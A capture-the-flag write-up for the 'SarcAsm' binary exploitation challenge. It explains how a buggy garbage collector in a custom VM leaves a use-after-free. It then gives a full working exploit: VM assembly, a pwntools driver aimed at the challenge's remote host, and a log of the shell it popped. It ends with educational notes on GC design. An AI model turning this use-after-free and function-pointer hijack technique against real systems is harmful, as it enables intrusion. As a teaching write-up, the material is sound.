SarcAsm

Eh4x CTFby smothy

SarcAsm - EH4X CTF 2026

Category: Binary Exploitation | Points: 500 | Solves: idk probably not many lol

tl;dr: Custom VM with a garbage collector that forgets slices exist. Use-After-Free go brrr. Leak PIE, overwrite function pointer, pop shell.


0x00 - First Look

We get a handout with:

  • sarcasm - a stripped PIE binary (the VM + assembler)
  • libc.so.6 - glibc 2.35 (Ubuntu)
  • ld-linux-x86-64.so.2
$ file sarcasm ELF 64-bit LSB pie executable, x86-64, stripped $ checksec sarcasm Full RELRO | Canary | NX | PIE | FORTIFY

Every single protection is on. cool cool cool.

Running it gives us:

$ ./sarcasm Usage: sarcasm --run-asm <src.nvm> sarcasm --asm <src.nvm> [-o out.bin]

So it's a custom VM called SarcAsm with its own assembly language (.nvm files). It can either assemble source to bytecode or run it directly. The remote at nc 20.244.7.184 9999 accepts raw bytecode.


0x01 - Reversing the VM

Time to throw this bad boy into Ghidra. After a few hours of renaming variables and crying, here's what we're working with:

Architecture Overview

SarcAsm VM Architecture

Tagged Values - The VM uses NaN-boxing style tagged pointers:

  • Integers: (value << 1) | 1 (LSB = 1)
  • Object pointers: aligned addresses (LSB = 0)
  • Type check: val & 1 tells you if it's an int or pointer

Instruction Set

Reversed the full opcode map through Ghidra + trial and error:

OpcodeMnemonicWhat it does
0x01PUSH immPush tagged integer
0x02DUPDuplicate top of stack
0x03SWAPSwap top two
0x04DROPPop and discard
0x10-0x16ADD/SUB/XOR/SHL/SHR/AND/ORArithmetic on tagged ints
0x20NEWBUF sizeAllocate a new buffer
0x21READ countRead stdin into buffer
0x22SLICE off lenCreate a slice (shared data!)
0x23PRINTBWrite buffer to stdout
0x24LENGet buffer length
0x25WRITEBUF off countRead stdin at offset in buffer
0x30/0x31GLOAD/GSTORE idxLoad/store global
0x40BUILTIN idCreate callable from builtin table
0x41CALL nargsCall a callable
0x50/0x51JMP/JZ offsetJump / jump if zero
0x60GCTrigger garbage collection
0xFFHALTStop execution

Object Layout (32 bytes each)

Object Memory Layout

Buffer Data Layout

Buffer Data Allocation

Bucket sizes: 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000

Each size class has its own free list. When a buffer is freed, its data goes back to the corresponding free list. Next alloc of the same size class? Same memory. Remember this - it's the whole exploit.

Builtin Functions

IDAddressArityWhat it does
0PIE+0x31D01Prints an integer (printf("%ld\n"))
1PIE+0x2EE00Literally nothing (no-op)

The Win Function

Sitting pretty at PIE+0x3000, not in the builtin table:

c
void win(void) {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    _exit(1);
}

The goal is clear: make CALL invoke this function instead of a legit builtin.

When CALL executes, it reads a function pointer from callable->data + 8 and jumps to it:

c
// CALL opcode (simplified)
func_ptr = *(callable->data_ptr + 8);  // read function pointer
func_ptr(vm_stack);                     // YOLO jump

0x02 - Finding the Bug

The Garbage Collector is... Garbage

Here's the GC in pseudocode:

MARK PHASE: for each value on stack: if it's an object pointer: set gc_flag = 1 for each global slot: if it's an object pointer: set gc_flag = 1 SWEEP PHASE: for each allocated object: if gc_flag == 0: free the object free its buffer data (goes back to free list) else: reset gc_flag = 0

Notice anything? The GC only marks direct references. It doesn't walk into objects to mark what THEY point to. Specifically:

A SLICE (type 2) shares its parent buffer's data pointer. But the GC doesn't know that. If the parent buffer gets freed, the slice is left holding a dangling pointer to freed memory.

GC Use-After-Free

This is a textbook Use-After-Free. The slice thinks it still owns that memory, but the allocator already recycled it.


0x03 - Exploitation Strategy

We need to:

  1. Leak PIE base - to know where the win function lives
  2. Overwrite a callable's function pointer - to redirect CALL to execve
  3. Trigger it - CALL the corrupted callable

All using only NVM assembly instructions. We write the exploit IN the VM's own language. We're literally making the VM pwn itself.

Exploitation Strategy

The Full Attack in 5 Phases

Here's the high-level flow:

5-Phase Attack Flow

Phase 1 - Leak Setup (UAF for Reading)

asm
NEWBUF 24          ; Create buffer A (bucket 0x20 = 32 bytes)
DUP                ; Copy A on stack
WRITEBUF 0 8       ; Fill A with 8 bytes of junk from stdin (pops one copy)
SLICE 0 8          ; Create slice SA from A (shares A's data pointer)
GSTORE sa          ; Save SA in globals[0]
                   ; A is no longer on stack or globals -> unreachable!
GC                 ; GC frees A. A's buffer data goes to free list.
                   ; SA is alive in globals, but its data pointer is DANGLING.

BUILTIN 0          ; Creates callable, allocates from free list...
                   ; ...gets A's old buffer! Writes func_ptr at data+8
GSTORE callable1   ; Save callable in globals[1]

After this: SA's data pointer == callable1's data pointer. Same physical memory. SA can READ what BUILTIN wrote.

Phase 1 Memory Layout

Phase 2 - Leak the Function Pointer

asm
GLOAD sa           ; Push SA (the dangling slice)
PRINTB             ; Outputs 8 bytes from SA's data = the function pointer!

We receive 8 bytes on stdout = PIE + 0x31D0. Subtract 0x31D0 to get PIE base. Add 0x3000 for win function.

Phase 3 - Attack Setup (UAF for Writing)

Same trick but we go one step further to get WRITE access:

asm
NEWBUF 24          ; Buffer B (bucket 0x20)
DUP
WRITEBUF 0 8       ; Fill B with junk
SLICE 0 8          ; Slice SB from B
GSTORE sb          ; Save SB
GC                 ; B freed, buffer data to free list. SB dangling.

NEWBUF 24          ; Buffer D - reuses B's freed data from free list!
GSTORE writable    ; D is our write primitive

PUSH 0
GSTORE sb          ; Clear SB from globals
GC                 ; SB is unreachable -> freed
                   ; SB's data (= D's data!) goes to free list AGAIN
                   ; D is alive but its data is on the free list!

BUILTIN 1          ; Allocates from free list -> gets D's data!
GSTORE callable2   ; callable2 and D now share the same buffer

Phase 3 Memory Layout

Phase 4 - Overwrite Function Pointer

asm
GLOAD writable     ; Push D
WRITEBUF 0 8       ; Read 8 bytes from stdin -> writes to D.data+8
                   ; = callable2's function pointer location!

We send PIE + 0x3000 (win function address). D and callable2 share the same buffer, so writing through D corrupts callable2.

Phase 5 - Pop Shell

asm
GLOAD callable2    ; Push the corrupted callable
CALL 0             ; Reads func_ptr from data+8 -> our overwritten address!
                   ; Jumps to execve("/bin/sh")

Function Pointer Hijack


0x04 - The Exploit NVM Program

Here's the full NVM source. Yes, we're writing a pwn exploit in the VM's own assembly. Peak comedy.

asm
GLOBAL sa          ; 0 - leak slice (dangling ptr to callable1's data)
GLOBAL callable1   ; 1 - leak target (BUILTIN 0)
GLOBAL sb          ; 2 - attack slice (temporary, gets cleared)
GLOBAL writable    ; 3 - write primitive buffer (shares data with callable2)
GLOBAL callable2   ; 4 - attack target (BUILTIN 1, func ptr gets overwritten)

; ===== Phase 1: Leak Setup =====
NEWBUF 24          ; A (bucket 0x20)
DUP
WRITEBUF 0 8       ; stdin -> A (8 bytes junk padding)
SLICE 0 8          ; SA overlaps A
GSTORE sa
GC                 ; free A, SA dangling
BUILTIN 0          ; reuses A's buffer, writes func ptr
GSTORE callable1

; ===== Phase 2: Leak =====
GLOAD sa
PRINTB             ; stdout <- 8 bytes (the function pointer)

; ===== Phase 3: Attack Setup =====
NEWBUF 24          ; B (bucket 0x20)
DUP
WRITEBUF 0 8       ; stdin -> B (8 bytes junk)
SLICE 0 8          ; SB overlaps B
GSTORE sb
GC                 ; free B
NEWBUF 24          ; D reuses B's data
GSTORE writable
PUSH 0
GSTORE sb          ; clear SB
GC                 ; free SB -> D's data back on freelist
BUILTIN 1          ; reuses D's data -> D & callable2 overlap!
GSTORE callable2

; ===== Phase 4: Overwrite =====
GLOAD writable
WRITEBUF 0 8       ; stdin -> D.data+8 = callable2's func ptr!

; ===== Phase 5: Shell =====
GLOAD callable2
CALL 0             ; calls our overwritten pointer -> execve("/bin/sh")

HALT

Assembles to just 58 bytes of bytecode. Compact and deadly.


0x05 - The Python Driver

The NVM program handles the VM-side exploit, but we need a driver to:

  1. Send the bytecode to the remote
  2. Provide stdin data at the right time
  3. Receive the leak and compute addresses
  4. Send the target address
  5. Interact with the shell
python
#!/usr/bin/env python3
from pwn import *
import subprocess, struct, time

context.log_level = 'info'

REMOTE_HOST = '20.244.7.184'
REMOTE_PORT = 9999

BUILTIN0_OFFSET = 0x31d0  # BUILTIN 0 function address (relative to PIE base)
TARGET_OFFSET   = 0x3000  # execve("/bin/sh") function

NVM_SOURCE = r"""
GLOBAL sa
GLOBAL callable1
GLOBAL sb
GLOBAL writable
GLOBAL callable2

NEWBUF 24
DUP
WRITEBUF 0 8
SLICE 0 8
GSTORE sa
GC
BUILTIN 0
GSTORE callable1

GLOAD sa
PRINTB

NEWBUF 24
DUP
WRITEBUF 0 8
SLICE 0 8
GSTORE sb
GC
NEWBUF 24
GSTORE writable
PUSH 0
GSTORE sb
GC
BUILTIN 1
GSTORE callable2

GLOAD writable
WRITEBUF 0 8

GLOAD callable2
CALL 0

HALT
"""

def assemble(nvm_source):
    nvm_path = '/tmp/exploit_gen.nvm'
    bin_path = '/tmp/exploit_gen.bin'
    with open(nvm_path, 'w') as f:
        f.write(nvm_source)
    # Use the challenge binary itself as the assembler
    result = subprocess.run(
        ['./handout/sarcasm', '--asm', nvm_path, '-o', bin_path],
        capture_output=True, text=True
    )
    assert result.returncode == 0, f"Assembly failed: {result.stderr}"
    with open(bin_path, 'rb') as f:
        return f.read()

def exploit(target):
    bytecode = assemble(NVM_SOURCE)
    log.info(f"Assembled {len(bytecode)} bytes of bytecode")

    if target == 'local':
        p = process(['./handout/sarcasm', '--run-asm', '/tmp/exploit_gen.nvm'])
    else:
        p = remote(REMOTE_HOST, REMOTE_PORT)
        p.send(bytecode)  # remote expects [u32 len | bytecode]

    # Phase 1: WRITEBUF needs 8 bytes from stdin
    p.send(b'A' * 8)

    # Phase 2: Receive 8-byte leak (function pointer from BUILTIN 0)
    leak = p.recv(8, timeout=10)
    func_ptr = struct.unpack('<Q', leak)[0]
    pie_base = func_ptr - BUILTIN0_OFFSET
    target_addr = pie_base + TARGET_OFFSET

    log.info(f"Leaked func ptr: {hex(func_ptr)}")
    log.info(f"PIE base:        {hex(pie_base)}")
    log.info(f"Win function:    {hex(target_addr)}")

    # Phase 3: WRITEBUF needs 8 bytes from stdin
    p.send(b'B' * 8)
    time.sleep(0.1)

    # Phase 4: Send target address to overwrite callable's func ptr
    p.send(struct.pack('<Q', target_addr))
    log.success("Payload sent! Shell incoming...")

    p.interactive()

if __name__ == '__main__':
    import sys
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'local')

0x06 - Pwned

$ python3 exploit.py remote [*] Assembled 58 bytes of bytecode [+] Opening connection to 20.244.7.184 on port 9999: Done [*] Leaked func ptr: 0x5587f97c71d0 [*] PIE base: 0x5587f97c4000 [*] Win function: 0x5587f97c7000 [+] Payload sent! Shell incoming... [*] Switching to interactive mode $ ls -la total 48 dr-xr-xr-x 1 root root 4096 Feb 27 17:28 . drwxr-xr-x 1 root root 4096 Feb 27 17:43 .. -r-xr-xr-x 1 root root 39136 Feb 27 17:28 sarcasm $ cat /flag* EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}


0x07 - Lessons Learned (Educational Notes)

What is Use-After-Free (UAF)?

A UAF happens when:

  1. Memory is allocated and used
  2. Memory is freed (returned to allocator)
  3. A pointer to that memory still exists (dangling pointer)
  4. The freed memory is reallocated to something else
  5. The old pointer now reads/writes someone else's data

In this challenge, the SLICE object keeps a raw pointer to its parent's buffer data. When the GC frees the parent, the slice's pointer becomes dangling. New allocations reuse that memory, creating an overlap.

Why Did the GC Fail?

The GC uses a simple mark-sweep algorithm but only marks objects that are directly referenced from the stack or globals. It doesn't follow pointers inside objects (no transitive marking of shared buffer data). This means:

  • Parent buffer on stack? Marked, not freed. Good.
  • Parent buffer NOT on stack, but slice IS? Parent freed, slice keeps dangling pointer. Bad.

A correct GC would either:

  • Reference count the shared buffer data (increment on slice creation, decrement on free)
  • Transitively mark - when marking a slice, also mark its shared data as alive

The Free-List Allocator Makes It Exploitable

The size-class free-list design means same-size allocations are guaranteed to reuse the same memory. This makes the UAF deterministic:

NEWBUF 24 -> bucket 0x20 -> gets fresh malloc GC frees it -> bucket 0x20 free list: [ptr] BUILTIN 0 -> also bucket 0x20 -> gets same ptr from free list!

No heap feng shui or spraying needed. The overlap is 100% reliable.

Tagged Pointers / NaN-Boxing

This VM uses a common technique from language runtimes (V8, LuaJIT, etc.) where the least significant bit distinguishes integers from pointers. This saves memory compared to wrapping every value in a struct with a type tag.

Key Takeaways

  1. Custom VMs are goldmines for bugs - They reimplement memory management, type systems, and GC from scratch. Lots of surface area for mistakes.
  2. GC != memory safety - A buggy garbage collector can introduce the same UAF bugs that manual memory management has.
  3. Shared mutable state is dangerous - Slices sharing buffer data with their parent creates an implicit reference that the GC doesn't track.
  4. Free-list allocators are deterministic - Once you have a UAF, same-size allocations are guaranteed to overlap. No randomness to deal with.
  5. Always check for win functions - strings binary | grep bin/sh is step 1 of every pwn challenge. Here it immediately told us the target.

0x08 - References


GG EH4X, fun challenge. The sarcasm was mutual.